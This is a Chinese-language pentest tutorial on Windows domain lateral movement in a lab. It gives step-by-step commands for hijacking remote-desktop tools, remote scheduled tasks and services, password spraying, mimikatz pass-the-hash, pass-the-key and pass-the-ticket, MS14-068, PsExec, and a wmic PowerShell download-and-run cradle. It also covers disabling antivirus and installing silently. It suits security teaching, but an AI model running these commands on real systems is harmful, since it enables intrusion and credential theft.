内网横向移动 1 利用向日葵横向移动 向日葵介绍 向日葵远程控制软件是一款免费的集远程控制电脑/手机/平板、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。
支持系统:Winodws/Linux/MacOS/Android/iOS
CS上线机器–>上传向日葵
向日葵远控连接(11.1版本 目前已失效无法连接服务器) 向日免安装的时候第一次会进入选择界面
选择暂不安装,以绿色版本运行,注册表中会写入值:
可以将其导出为1.reg,然后删除,下次又会先让用户选择
执行1.reg,再次运行向日葵就不会选择,直接进入绿色版
内容:
1 2 3 4 Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Oray\SunLogin\SunloginClient]"11.1.0.37237_IsRunSeted" ="1"
保存成reg文件上传到被控机器,然后执行
1 2 shell regedit -s 3 .reg shell SunLoginClient.exe
获取密码:桌面截图–>cs开启vnc
缺陷:需要有人提前点击过查看验证码
查看向日葵配置文件
1 2 3 shell type C :\ProgramData\Oray\SunloginClient\config.ini fastcode:本机识别码去掉k encry_pwd:本机验证码,密文无法直接解密
解密密码
使用github提供的脚本文件进行解密
https://github.com/wafinfo/Sunflower_get_Password
至此拿到了本机识别码和本机验证码
使用向日葵进行连接–>连接后–>搜集信息(远程桌面凭证,保存敏感文件、数据),关闭杀软,作为跳板控制内网中的其他机器
2 利用todesk横向移动 todesk介绍 ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件 传输、云端同步和流量加密等功能
有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS
todesk安装 全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,/S参数可以实现 静默安装
安装完成后自动运行,接下来查看配置文件
1 shell type C:\"Program Files (x86)"\ToDesk\config.ini
运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登 录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需 要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中 的tempAuthPassEx,重启ToDesk即可得到明文密码 使用cs进行文件替换
创建新的config.ini文件
1 2 826856 deb6881894e3 dcca4 a019 c 605 a334 f289e26193 ae06 abdea4 cf0 d714 da3 f4768 cbabd5734 bf187 bd701 bc0 b2 ae4 acee22e9909 密码:317606
替换后重启进程即可
1 2 3 tasklis 查找进程 taskkill /pid 2328 / F taskkill /pid 1196 / F
查看配置文件:
1 shell type C:\"Program Files (x86)"\ToDesk\config.ini
连接后–>搜集信息(远程桌面凭证,保存敏感文件、数据),关闭杀软,作为跳板控制内网中的其他机器
3 利用GoToHTTP横向移动 GoToHTTP介绍 GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器 就能访问远程电脑 。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语 音、远程摄像头、多显示器支持
下载:http://www.gotohttp.com/goto/download.12x
GoToHTTP使用 使用cs或者其他工具将文件上传到目标机器
运行该文件
在运行目录下会生成一个配置文件
直接在指定的网站输入账号密码即可远控连接
4 利用RustDESK横向移动 RustDESK介绍 远程桌面软件,开箱即用,无需任何配置,完美替代TeamViewer。您完全掌控数据,不用担心安全问题。您可以 使用我们的注册/中继服务器,或者自己设置,亦或者开发您的版本。
https://gitee.com/rustdesk/rustdesk/releases
RustDESK安装 上传到目标机器
运行程序
找到配置文件
1 目录:C :\Users\administrator\AppData\Roaming\RustDesk\config
1 shell type C :\Users\administrator\AppData\Roaming\RustDesk\config\RustDesk.toml
可以看到没有密码,这个时候需要手写这个密码,替换配置文件,然后重启工具
1 2 tasklist taskkill /pid 2184 / F
此时密码已经被修改
远程连接
5 IPC配合计划任务横向移动 IPC$介绍 IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。 IPC可以通过验证用户名和密码获得相应的权限 ,通常在远程管理计算机和查看计算机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等 操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。 首先,需要建立一个ipc$
首先,需要建立一个ipc$
1 2 net use \\10.210.100.30\ipc$ "密码" /user:administratornet use
IPC$利用条件 1、开启了139、445端口 ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应 用。通过 139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445 端口的支持。
2、管理员开启了默认共享 默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录 winnt或 windows( adminS)通过ipc$,可以实现对这些默认共享目录的访问
IPC$连接失败原因 用户名或密码错误
目标没有打开ipcs默认共享
不能成功连接目标的139、445端口
IPC$连接常见错误 1 2 3 4 5 6 7 8 9 10 11 错误号5:拒绝访问 错误号51: Windows无法找到网络路径,即网络中存在问题。 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未 启动目标有防火 墙(端口过滤)错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进 行连接。错误号1326:未知的用户名或错误的密码 错误号l792;试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连 接域控制器时会出 现此情况)。错误号2242:此用户的密码已经过期°例如’目标机器设置了账号管理策略,强制用户定 期修改密码°
小tip 一个用户r1cky加入了本地的administrator组,仍然有uac认证
有uac认证时抓取不了密码 通过CS提权脚本就可以绕过,也可以通过先提权到system用户。然后加一个用户到administrator组中,然后再提权绕过uac,也可以远控然后手动添加,如果不出网,就建立隧道。
利用方式-windows自带命令 dir命令 在使用 netuse命令与远程目标机器建立ipcs后,可以使用dir命令列出远程主机中的文件, 如图
tasklist命令 在使用 net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列 出远程主机上运行的进程
1 tasklist /s 10.210.100.30
利用方式-schtasks(计划任务) (1)查看系统时间
(2)复制文件
1 2 copy 文件 \\IP地址\C$ copy C:\Users\Administrator\Desktop\artifact.exe \\10.210 .100.30 \C$
(3)创建计划任务
1 2 3 4 schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f schtasks /create /s 10.210.100.30 /tn r1cky /sc onstart /tr c:\artifact.exe /ru system /f 可能不成功,加上账号密码 schtasks /create /u administrator /p Ar1cky /s 10.210.100.30 /tn r1cky /sc onstart /tr c:\artifact.exe /ru system /f winserver2003执行失败
(4)执行计划任务
1 2 3 schtasks /run / s IP地址 /i / tn "计划任务名" schtasks /run / s 10.210 .100.30 /i / tn "r1cky" schtasks /run /u administrator /p Ar1cky / s 10.210 .100.30 /i / tn "r1cky"
(5)删除计划任务
1 schtasks /delete /s IP地址 /tn "计划任务名" /f
(6)清除IPC连接
6 IPC配合系统服务横向移动 SC命令详解 获取到密码并着手横向时,却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务,然后再启用服务来运行我们想要运行的命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 描述:SC 是用来与服务控制管理器和服务进行通信的命令行程序。 用法:sc < server> [command] [service name] < option1> < option2> ...< server> 选项的格式为 "\\ServerName"可通过键入以下命令获取有关命令的更多帮助: "sc [command]" 命令: query queryexstart pause interrogate continue stop config description failure failureflag sidtype privs managedaccount qc qdescription qfailure qfailureflag qsidtype qprivs qtriggerinfo qpreferrednode qmanagedaccount- 查询服务是否将帐户与 LSA 管理的密码结合使用。 qprotection quserservicedelete create control sdshow sdset showsid triggerinfo preferrednode GetDisplayName GetKeyName EnumDepend
使用sc横向 IPC建立连接
1 2 net use \\10.210.100.30\ipc$ "密码" /user:administratornet use
复制文件
1 copy C:\Users\Administrator\Desktop\artifact.exe \\10.210.100.30\C$
创建服务
1 sc \\10 .210 .100 .30 create test binpath= "cmd.exe /c c:\artifact.exe"
开启服务
1 sc \\10.210.100.30 start test
机器上线
删除服务
1 sc \\10.210.100.30 delete test
7 Password Spraying密码喷洒攻击和域内用 户枚举横向移动 域内用户枚举攻击原理 正常域用户登录主机,我们可以通过 “net user /domain”来列举出域内的用户。但是当我们用非域用户进行登录 时,是不能使用 “net user /domain”这条命令的。或者当主机不在域内但是能与域控通信时 , 以上两种情况我们可以通过以下方法对域内用户进行枚举。
Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段 AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样 。
所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举
枚举工具介绍 kerbrute工具 1 2 kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt kerbrute.exe userenum --dc 10.210 .100.10 -d hack.com 1 .txt
密码喷洒攻击原理 在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号 ,此方法能有效的避免账号被锁定的问题
kerbrute工具 1 kerbrute.exe passwordspray -d hack.com 1 .txt Admin123
CrackMapExec CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。
下载地址: https://github.com/byt3bl33d3r/CrackMapExec
1 crackmapexec smb 10.210.100.10 -u 1 .txt -p 'Admin@123 ' --continue-on -success
DomainPasswordSpray.ps1 必须是域内用户或者system才可以
1 2 3 4 5 6 UserList:用户字典 Password:单个密码 PasswordList:密码字典OutFile :输出的文件名 Domain:要爆破的域Force :强制喷洒继续,而不提示确认
1 2 3 4 5 6 7 8 9 1 .cs 远控靶机执行 Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -UserList 1 .txt -Domain hack.com -Password Admin@123 -Force -OutFile res .txt2 .cs 提到system 执行:shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -UserList C:\Users\Administrator\Desktop\1.txt -Domain hack.com -Password Admin@123 -Force -OutFile C:\Users\Administrator\Desktop\res.txt}" 3 .远程执行4 .攻击机cs 执行 文件放在攻击机本地 powershell DomainPasswordSpray.ps1 powershell Invoke-DomainPasswordSpray -UserList C:\Users\Administrator\Desktop\1 .txt -Domain hack.com -Password Admin@123 -Force -OutFile C:\Users\Administrator\Desktop\res .txt
8 Pass the Hash 哈希传递攻击(PTH)横向移动 哈希传递 大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击 。
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,
如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机 。
同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。 在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。
在 WindowsServer2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。
哈希传递攻击原理 当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明 文密码均会被泄露。
由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输 入的密码进行散列加密处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时, 会先对用户输入的密码进行散列加密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。
主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系 统,则使用 LMHash对用户密码进行验证。但是,当密码大于等于14位 时,就无法使 用 LM Hash了。
从Windows vista和 Windowsserver2008版本开始, Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认 证时,不会使用明文口令,而是将明文口令通过系统API(例如 Lsalogon User)转换成散列值。不过,攻击者在获得密码散列值之 后,依旧可以使用哈希传递攻击来模拟用户进行认证。
哈希传递条件 哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口 。
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中: 只能是域管理员组内用户 (可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
哈希传递实验 实验环境如下
1 2 3 10.210.100.30 机器是admin用户进行登录 (本地管理员)10.210.100.20 机器是administrator登录 (本地管理员) 两台机器的administrator administrator用户账号密码相同
10.210.100.30 admin用户上线,且绕过了uac
run mimikatz 抓取密码 获得administrator密码的ntlm hash:e45a314c664d40a227f9540121d1a29d
目前使用dir不能访问20机器
使用mimikatz进行hash传递
1 2 3 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.210.100.20 /ntlm:e45a314c664d40a227f9540121d1a29d" mimikatz sekurlsa::pth /user:administrator /domain:10.210.100.20 /ntlm:e45a314c664d40a227f9540121d1a29d
认证成功之后,.30会弹出一个cmd窗口,这里可以执行命令访问.20,但在cs里应该执行不成功
此时可以通过IPC配合计划任务或者系统服务横向
方式一:通过IPC配合计划任务横向
1 2 3 4 5 6 1 .复制木马文件copy C:\Users\Administrator\Desktop\artifact.exe \\10.210 .100.20 \C$2 .创建计划任务 schtasks /create / s 10.210 .100.20 /tn r1cky / sc onstart /tr c:\artifact.exe / ru system /3 .执行计划任务 schtasks /run / s 10.210 .100.20 /i / tn "r1cky"
方式二:利用cs自带的功能:
9.pass the key 密钥传递攻击(PTK)横向攻击 PTK介绍 WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证
什么是KB2871997 KB2871997:禁止本地管理员账户用于远程连接 ,这样就无法以本地管理员用户的权限执行wmi、 psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外 , 利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在 lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
实验复现 环境
机器名
系统
登录用户
域内主机(winserver2012-2)
winServer2012R2
本地管理员admin
10.210.100.12
域内主机(winserver2012- 1)
winServer2012R2
本地管理员 administrator
10.210.100.11
域控(DC)
winServer2012R2
域管administrator
10.210.100.10
实验前提 已经控制了2012-2主机,发现他是admin用户登录系统,通过抓取密码发现域管账号(hack\administrator)存在内存中,即在这台主机上登陆过 ,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
实验步骤 使用钓鱼或者其他的方式进行远控
绕过uac 使用CS插件(欧拉插件)
小tip,CS加载插件出现乱码解决办法 https://blog.csdn.net/weixin_44309905/article/details/122687310
1 java -Dfile .encoding=utf-8 -XX :ParallelGCThreads= 4 -XX :+AggressiveHeap -XX :+UseParallelGC -Xms512 M -Xmx1024 M -jar cobaltstrike.jar
抓取密码(此时无法执行读取密码等操作)
1 2 mimikatz privilege::debug mimikatz sekurlsa::ekeys
在2012-2本地管理员admin用户下没有抓到域管的aes,测试失败,直接登录域管才抓到
试了很久之后 admin账户也抓到了。。。。。
域管账户抓的:
admin账户抓的:
administrator:8ae04f63bb11d4eccbaa76c8fe667b34b59fced44b05227b9375af63801cf5b3
传递key
1 mimikatz sekurlsa::pth /user:administrator /domain:hack.com /aes256:8ae04f63bb11d4eccbaa76c8fe667b34b59fced44b05227b9375af63801cf5b3
注:登录域管账号可以抓
jack:6e1d96f65964a1b98d297e0f542fe9d62cfb3e8f9410190a4e54a67474f99afe
登录普通域账号需要绕过uac,cs好像没绕过,需要到电脑桌面进行操作
成功的话在2012-2会弹出cmd,可执行dir \\dc.hack.com\c$测试
登录到机器然后执行命令上线
计划任务等等之类的
1 2 3 4 net use \\2012 -1 .hack.com copy C:\Users\admin\Desktop\artifact.exe \\2012 -1 .hack.com \C$ schtasks /create /s 2012 -1 .hack.com /tn test /sc onstart /tr c :\artifact.exe /ru system /f schtasks /run /s 2012 -1 .hack.com /i /tn
10.pass the ticket 票据传递攻击(PTT)横向攻击 票据传递介绍 要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员 权限进行 横向渗透测试的方法,
例如票据传递( PassThe Ticket,PTT)
票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。
黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。
白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。
票据传递攻击一般分为两种
1、自己制作票据
2、传递内存中的票据
实验复现 导出内存的票据
1 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。
这里的admin在CS上执行能导出,但是看不到这些文件
只能到电脑上看
清除内存中的票据
1 2 3 shell klist purge mimikatz kerberos::purge 两个都是清除票据
将高权限的票据文件注入内存
1 mimikatz kerberos::ptt [0;63c03]-2 -1 -40 e10000-Administrator@krbtgt-HACK.COM.kirbi
查看票据
1 2 shell klist mimikatz kerberos::tgt
访问机器
1 dir \\2012 -1 .hack.com\c$
上线域控
1 2 3 4 5 6 7 8 9 shell net use \\dc.hack.com shell copy C:\Users\admin\Desktop\artifact.exe \\dc.hack.com\C$ shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /fshell schtasks /run /s dc.hack.com /i /tn "test" 删除计划任务:shell schtasks /delete /s IP地址 /tn "计划任务名" /f 删除连接: net use \\IP /del /y
11.PTT攻击之ms14-068传递获取域管横向 MS14-068介绍 ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用
MS14-068的利用条件 1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
MS14-068实验 环境介绍
域控:10.210.100.10 windows server 2012
域内机器:10.210.100.12 winserver2012 rose 域内用户
MS14-068利用
查看域用户的SID
SID:S-1-5-21-2431442348-1717482385-2017137259-1117
SID:S-1-5-21-2431442348-1717482385-2017137259-1121
清除内存中的票据
生成票据
1 2 3 4 ms14 -068 .exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控ms14 -068 .exe -u rose@hack.com -p Admin123 -s S-1 -5 -21 -2431442348 -1717482385 -2017137259 -1117 -d DC.hack.comms14 -068 .exe -u r1cky@hack.com -p Admin123 -s S-1 -5 -21 -2431442348 -1717482385 -2017137259 -1121 -d DC.hack.com
导入票据
1 2 3 4 kerberos::ptc 票据名字 mimikatz kerberos::ptc TGT_rose @hack .com.ccache mimikatz kerberos::ptc TGT_r1cky @hack .com.ccache
执行命令
1 dir \\dc2.test.com\c$ 注意是机器名不是IP
测试失败:系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。
如能连接成功 即重复之前的操作
建立网络连接
复制恶意文件
添加计划任务
启动计划任务
1 schtasks /run / s dc.hack.com /i / tn "test"
上线DC
之后可以换2008作为域控再次测试
goldenPac.exe 此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷
用法:
1 goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名
测试失败,可能是由于2012打了KB3011780补丁
12.PsExec工具远程命令执行横向移动 PsExec介绍 psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口, 只需要对方开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防 火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是 Windows提供的工具,所以杀毒软件将其列在白名单中
下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PsExec使用条件 1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享
PsExec常用参数 1 2 3 4 5 6 7 psexec \\ip -u administrator -p admin cmd 进⼊半交互式shell PsExec -accepteula \\192.168.108.101 -s cmd.exe 建立交互的shell psexec \\ip - uadministrator -p admin -w c:\cmd 进⼊交互式shell,且c:\是⽬标机器的⼯ 作⽬录 psexec \\ip -u administrator -p admin whoami all 执行命令 psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行文件 psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的⽤⼾权限执行文件
实验复现 测试机器 pc-2008 r1cky
直接使用:
1 PsExec.exe -accepteula \\10.210 .100.12 -u administrator -p Admin123 -s cmd
IPC$下的psexec 上传psexec
建立IPC$连接
1 2 删除连接:net use * /del /ynet use \\10.210.100.12\ipc$ "Admin123" /user:administrator
返回交互的shell或者执行命令
1 2 3 psexec.exe -accepteula \\10.210 .100.12 -s cmd.exe 返回交互shell (必须是msf或者远程 到桌面 CS不行) psexec.exe -accepteula \\10.210 .100.12 -s ipconfig 远程执行命令
远程复制
1 copy C:\Users\r1cky\Desktop\r1.exe \\10.210.100.12\C$
远程上线
1 PsExec.exe -accepteula \\10.210.100.12 -h -d c:\r1.exe
PTH下的psexec 拿下10.210.100.30 pc-2003
找到登录的凭证
进行psexec攻击上线 填写信息上线
上线:
PTT下的psexec 使用pc-2012(登陆过域控)
上传psexec
进行PTT攻击 导出内存的票据
1 2 查看密码:mimikatz sekurlsa::ekeys mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
CS中显示不出来
清除内存中的票据
1 2 3 shell klist purge mimikatz kerberos::purge 两个都是清除票据
将高权限的票据文件注入内存
1 mimikatz kerberos::ptt [0;11bff0]-2 -0 -40 e10000-Administrator@krbtgt-HACK.COM.kirbi
查看票据
1 2 shell klist mimikatz kerberos::tgt
远程复制
1 copy C :\Users\admin\Desktop\artifact.exe \\dc.hack.com\C$
远程上线
1 PsExec.exe \\dc.hack .com -h -d c:\wanli.exe
13.wmic 远程执行命令横向移动 什么是WMI WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操 作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持 。
简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序 。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是 Windows Management Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。
WMIC常见命令 wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmic,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在 2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 wmic logon list brief 登录⽤户 wmic ntdomain list brief 域控机器 wmic useraccount list brief ⽤户列表 wmic share get name,path 查看系统共享 wmic service list brief |more 服务列表 wmic startup list full 识别开机启动的程序,包括路径 wmic fsdir "c:\\test" call delete 删除C盘下的test目录 wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志 wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址 wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况 wmic product get name,version 查看系统中安装的软件以及版本,2008R2上执行后无反应。 wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名 wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名 wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE,可以按照实际情况进 行筛选 wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延 迟是多少 wmic process where name ="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路 径 wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量 查询当前主机的杀毒软件 wmic process where "name like '%forti%'" get name wmic process where name ="FortiTray.exe" call terminate wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 常见错误 wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 查询windows机器版本和服务位数和.net版本 wmic os get caption wmic os get osarchitecture wmic OS get Caption,CSDVersion,OSArchitecture,Version wmic product where "Name like 'Microsoft .Net%'" get Name, Version 查询本机所有盘符 wmic logicaldisk list brief wmic logicaldisk get description,name,size,freespace /value 卸载和重新安装程序 wmic product where "name like '%Office%'" get name wmic product where name ="Office" call uninstall 查看某个进程的详细信息 (路径,命令⾏参数等) wmic process where name ="chrome.exe" list full wmic process where name ="frp.exe" get executablepath,name,ProcessId 进程路径 wmic process where caption ="frp.exe" get caption,commandline /value 更改PATH环境变量值,新增c:\whoami wmic environment where "name='path' and username='<system>'" set VariableValue ="%path%;c:\whoami 查看某个进程的详细信息-PID wmic process list brief tasklist /SVC | findstr frp.exe wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,Crea tionDate 终⽌⼀个进程 wmic process where name =" xshell.exe" call terminate ntsd -c q -p 进程的PID taskkill -im pid 获取电脑产品编号和型号信息 wmic baseboard get Product,SerialNumber wmic bios get serialnumber 安装软件 wmic product get name,version wmic product list brief
常见错误 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 1.开启防火墙时,允许共享例外错误: 代码 = 0x800706ba 说明 = RPC 服务器不可用。 设备 = Win32 2.组策略阻止administraotr远程访问时错误: 代码 = 0x80070005 说明 = 拒绝访问。 设备 = Win32 3.IP安全策略阻止135时错误: 代码 = 0x800706ba 说明 = RPC 服务器不可用。 设备 = Win32 4.禁用winmgmt服务时错误: wmic调用cmd 以下命令需要管理员权限 利用powershell上线 1、使用cs生成powershell脚本 2、wmic进行上线,把ps1放大公网,可以使用python 开启http服务提供下载 python-m http.server 9988 3、等待片刻上线 代码 = 0x80070422 说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。 设备 = Win32 5.拒绝wbem目录权限,无法使用wmic的
wmic调用cmd 以下命令需要管理员权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 执行命令并且输出 wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create"cmd.exe /c ipconfig >c:\ip.txt" 列出远程主机进程 wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief 在远程系统上执行bat脚本 wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\programdata\test.bat wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create"cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add 执行powershell上线 wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create " powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""
利用powershell上线 1、使用cs生成powershell脚本
2、wmic进行上线,把ps1放到公网,可以使用python 开启http服务提供下载 python -m http.server 8989
1 wmic /NODE:10.210 .100 .11 /user :administrator /password :Admin123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new -object net.webclient).downloadstring('ps脚本地址' ))\""
3、等待片刻上线
Wmiexec工具 wmiexec是一个即有全交互也有半交互的远程命令执行工具,有python版本的pe版本可运用于多种环境,包括webshell环境、rdp环境、socks环境等
